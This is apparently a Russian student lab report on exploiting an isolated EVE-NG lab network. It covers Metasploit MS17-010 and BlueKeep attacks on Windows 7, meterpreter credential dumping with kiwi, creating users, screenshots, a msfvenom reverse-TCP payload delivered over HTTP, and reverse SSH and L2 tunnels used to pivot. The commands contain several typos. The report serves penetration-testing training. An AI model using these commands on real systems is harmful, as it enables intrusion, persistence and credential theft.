---
# System prepended metadata

title: '**Практика №3-4**.'

---

# **Практика №3-4**. 

# **Эксплутация уязвимостей. MetaSplot Framework**

# **Задание к практической работе №3**

- Построить инфраструктуру в системе EVE-NG (есть возможность ее импортировать)
- Настроить каждое устройство в соответсвии со следующими параметрами:
    - Kali-2021, Win-7, Win-10, Debian - получение адреса DHCP
    - На PfSense выполнить проброс с внешних 445/tcp и 3389/tcp портов на аналогичные порты win-7 виртуальной машины
- Выполнить сканирование внешнего интерфейса межсетевого экрана с помощью nmap и Nessus с целью обнаружения уязвимых сервисов
- Использую Metasploit Framework - получить доступ до Windows-7 виртуальной машины
- Используя payload meterpreter:
    - выполнить создание нового пользователя
    - Выполнить скриншот рабочего стола
    - получить все учетные записи, находящиеся в памяти системы
    - Выполнить проксирование трафика во внутреннюю инфраструктуру

# **Выполнение задания**

Для начала необходимо построить инфраструктуру в соответствии с заданием, проверить настройки pfsense и посмотреть ip адреса устройств:

![](https://i.imgur.com/DlOc5UL.png)

pfsense:

![](https://i.imgur.com/vyeOSdt.png)

Windows7:

```
ipconfig
```
![](https://i.imgur.com/3ziwg2b.png)

KaliLinux:

```
ip a
```

![](https://i.imgur.com/JCYyoKu.png)


После настройки устройств необходимо пробросить порты(445,3389) в pfsense. Для этого заходим в браузер на устройстве Windows7 и пишем WAN ip pfsense, после чего пробрасываем порты:

![](https://i.imgur.com/kSSOKar.png)

![](https://i.imgur.com/fmOP2kI.png)

# Сканирование внешнего интерфейса межсетевого экрана с помощью nmap

Используя KaliLinux, сканируем межсетевой экран:

```
sudo nmap 192.168.25.145 -p445,3389 -A
```

![](https://i.imgur.com/PLGeoXY.png)

Для обнаружения уязвимостей воспользуемся скриптами nmap:

Чтобы установить скрипт Nmap-vulners, перейдем в каталог скриптов Nmap с помощью следующей команды:

`cd /usr/share/nmap/scripts/`

Далее клонируем git репозиторий:

`git clone https://github.com/vulnersCom/nmap-vulners.git` 

Теперь можно просканировать хост:

```
sudo nmap -sV --script vuln 192.168.25.145 -p445,3389
```

Скрипт нашел уязвимость ms17-010:

![](https://i.imgur.com/qaumXDZ.png)

С помощью msfconsole находим эксплойты ms17-010 и пытаемся их выполнить:

Запускаем:

`msfconsole`

Ищем:

`search ms17-010`

![](https://i.imgur.com/I6wMR9j.png)

Выбираем конкретный:

`use 0`

Задаем таргет:

`set RHOSTS 196.168.25.145`

Используем:

`run`

![](https://i.imgur.com/GgFhvDn.png)

В итоге мы получили доступ к устройсту.

# Использование payload meterpreter

`set payload windows/x64/meterpreter/reverse_tpc`

- выполнить создание нового пользователя

Сначала активируем использование протокола RDP на удаленной машине:

meterpreter>

`run getgui -e`

![](https://i.imgur.com/TcbWwdt.png)

meterpreter>

`run getgui -u USER -p PASS`

![](https://i.imgur.com/5XHQV2P.png)


хотя meterpreter выдал ошибку создания пользователя, при перезагрузке устройста(Windows7), пользователь создался!

![](https://i.imgur.com/fnSfyi3.png)

- выполнить скриншот рабочего стола

meterpreter>

`screenshare`

![](https://i.imgur.com/DStEdHk.jpg)


- получить все учетные записи, находящиеся в памяти системы

meterpreter>

```
load kiwi
creds_all
```

![](https://i.imgur.com/NCi4sSS.png)


- Выполнить проксирование трафика во внутреннюю инфраструктуру

Для начала пробросим порт с Windows7 до pfsense:

portfwd add -L (kali ip) -l (random port on kali) -p (port on Win7) -r (LAN ip pfsense)

`portfwd add -L 192.168.25.144 -l 2323 -p 443 -r 192.168.1.1`

Теперь можем зайти в pfsense через кали:

![](https://i.imgur.com/l4ojGXe.png)

- Превышение прав доступа

При попытке превысить права с помощью exploits(), к сожалению ничего не получилось потому, что версия Win10 не 1903-1909 x64

![](https://i.imgur.com/wSKYt1N.png)

![](https://i.imgur.com/765iNGG.png)

![](https://i.imgur.com/r00SgSm.png)

![](https://i.imgur.com/0EgZMUv.png)

![](https://i.imgur.com/rUOzKl0.png)

# **Практика №4. Revers Shells & Reverse SSH connections.**

# Reverse_shell

Теперь немного изменяем инфраструктуру из прошлой лабораторной работы:

![](https://i.imgur.com/cMJHlTY.png)

В Win10 получаем ip:

```
ipconfig
```

![](https://i.imgur.com/VR95wJJ.png)

Сканируем этот ip через nmap:

`nmap 192.168.1.107 -O`

![](https://i.imgur.com/YX3Y1nF.png)

Видим ОС устройства.

Теперь при помощи msfvenom создадим исполняемый файл, который будет выполнять payload windows/x64/meterpreter/reverse_tcp:

`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.108 LPORT=4444 -f exe -o meterpreter.exe`

![](https://i.imgur.com/XdrUpmt.png)

Теперь в этой же дирректории, запускаем модуль Python(SimpleHTTPServer) для того, чтобы пользователь Win10 мог скачать наш исполняемый файл:

![](https://i.imgur.com/1FXcpG4.png)

Заходим в систему Win10 как обычный пользователь без прав и открываем сайт:

![](https://i.imgur.com/flkT9XH.png)

Скачиваем файл:

![](https://i.imgur.com/gq9GVBr.png)

Так же необходимо настроить сервер, используем специальный эксплойт, который будет слушать все.

В msfconsole используем эксплойт для прослушки:

`use exploit/multi/handler`

Задаем эксплойту прослушиваемый пейлоад:

`set payload windows/x64/meterpreter/reverse_tcp`

Задаем эксплойту адрес прослушки:

`set lhost 0.0.0.0`

![](https://i.imgur.com/3qzRdfx.png)

Теперь с Win10 запустим скачанный ранее файл, и посмотрим что произойдет:

![](https://i.imgur.com/xsJAq3n.png)

В итоге мы поличили доступ к meterpreter. Но при попытке получить доступ к экрану, мы видим что у нас нет прав доступа!

meterpreter>

`screenshare`

![](https://i.imgur.com/dQ8BSJn.png)

Еще раз убедимся что мы зашли за обычного пользователя:

meterpreter>
```
shell
whoami
```

![](https://i.imgur.com/pMqnNHv.png)

# Reverse SSH Connection

Изменим инфраструктуру, вынесем Kali Linux за пределы локальной сети:

![](https://i.imgur.com/O5eJ49n.png)

На Kali включим ssh:

`sudo service ssh start`

Сделаем так, чтобы ssh включался автоматически:

`sudo systemctl enable ssh`

![](https://i.imgur.com/1R3f1yC.png)

Подключаемся через Win10 к Kali по SSH:

`ssh user@192.168.25.156`

![](https://i.imgur.com/BP6QYTI.png)

Теперь через Win10 пробросим порт 3390 на кали, так чтобы Kali подлкючался сам к себе, и попадал на порт 3389 на Win10:

`ssh -R 3390:localhost:3389 user@192.168.25.156`

![](https://i.imgur.com/AI0ixwe.png)

Теперь посмотрим результат сканирования сокетов на Kali до и после выполнения обратного SSH:

`ss -tunlp`

![](https://i.imgur.com/W6hZYc5.png)

Видим что появился новый процесс на 3390 порту.

Теперь мы можем на Kali подключиться по RDP к самим себе, и увидеть что мы получили доступ к Win10!

`xfreerdp /u:user /p:eve@123 /v:127.0.0.1:3390`

![](https://i.imgur.com/1LFZ8i4.png)

![](https://i.imgur.com/4R0L40u.png)

Теперь на Kali, через обратное подключение к Win10, дадим доступ Kali на порту 3389 до порта 3389 на Win7:

`ssh -R 3389:192.168.1.102:3389 user@192.168.25.156`

![](https://i.imgur.com/kvMYDp8.png)

Снова посмотрим активные сокеты на Kali:

`ss -tunlp`

![](https://i.imgur.com/GYEpiSv.png)

Теперь видим новый процесс на порту 3389.

![](https://i.imgur.com/CbIfiXN.png)

Дальше на Kali попробуем атаковать Win7 с помощью уязвимости bluekeep:

```
msfconsole

search bluekeep

use 1

set rhost 127.0.0.1

set target 8

run
```

![](https://i.imgur.com/hbaXqEd.png)

В итоге мы получаем доступ до Win7!!!

# SSH reverse_shell через Debian(L3)

Снова поменяем инфраструктуру:

![](https://i.imgur.com/eaqvQ0T.png)

Попробуем получить доступ Kali до Win7 пробросив порты на Debian:

Debian:
`ssh -R 3389:192.168.1.113:3389 user@192.168.25.156`

Kali 
`xfreerdp /u:user /p:eve@123 /v:127.0.0.1:3389`

![](https://i.imgur.com/Qf1SIb4.png)

Далее с помощью msfconsole и эксплойта bluekeep можем получить доступ как в прошлом пункте.

Настроим на Debian получение ip по dhcp:

`sudo nano /etc/network/interfaces`

auto ens3
iface ens3 inet dhcp

Теперь можем увидеть идущий трафик.

![](https://i.imgur.com/OwAzEjr.png)

# SSH L2 Tunneling

Настроим на Debian получение ip по dhcp, так же создадим мост между интерфейсами e0 и e1:


`sudo nano /etc/network/interfaces`

Меняем файл конфигурации:

auto ens3
iface ens3 iten manual

auto ens4
iface ens4 iten manual

auto br0
iface br0 inet dhcp
    bridge_ports ens3 ens4

![](https://i.imgur.com/PgkiHj5.png)

Сначала зададим пароль для root на Kali и отредактируем файл /etc/ssh/sshd_config:

`sudo passwd root`

`sudo nano /etc/ssh/sshd_config`

*PermitTunnel yes
PermitRootLogin yes*

![](https://i.imgur.com/geVhLmu.png)

Сначала на Debian создадим туннель:

`ssh root@192.168.25.156 -o Tunnel=etherner -w any:any`

![](https://i.imgur.com/ijAn0sJ.png)

На обеих устройствах создается интерфейс tap0:

![](https://i.imgur.com/GxCW2Tt.png)

На Debian добавляем tap0 интерфес к br0:

`brctl addif br0 tap0`

![](https://i.imgur.com/AExQ4Y5.png)

Поднимаем этот интерфейс:

`ip link set dev tap0 up`

![](https://i.imgur.com/rqPjWhN.png)

Теперь делаем тоже самое на Kali:

`ip link set dev tap0 up`

И прослушиваем этот интерфейс:

`tcpdump -i tap0`

![](https://i.imgur.com/nADcpgV.png)

Попробуем получить dhcp адрес:

![](https://i.imgur.com/MWquBy6.png)

Видим что у нас теперь ip как будто мы внутри инфраструктуры. Можем зайти на сайт pfsense:

![](https://i.imgur.com/Jc5xoKZ.png)





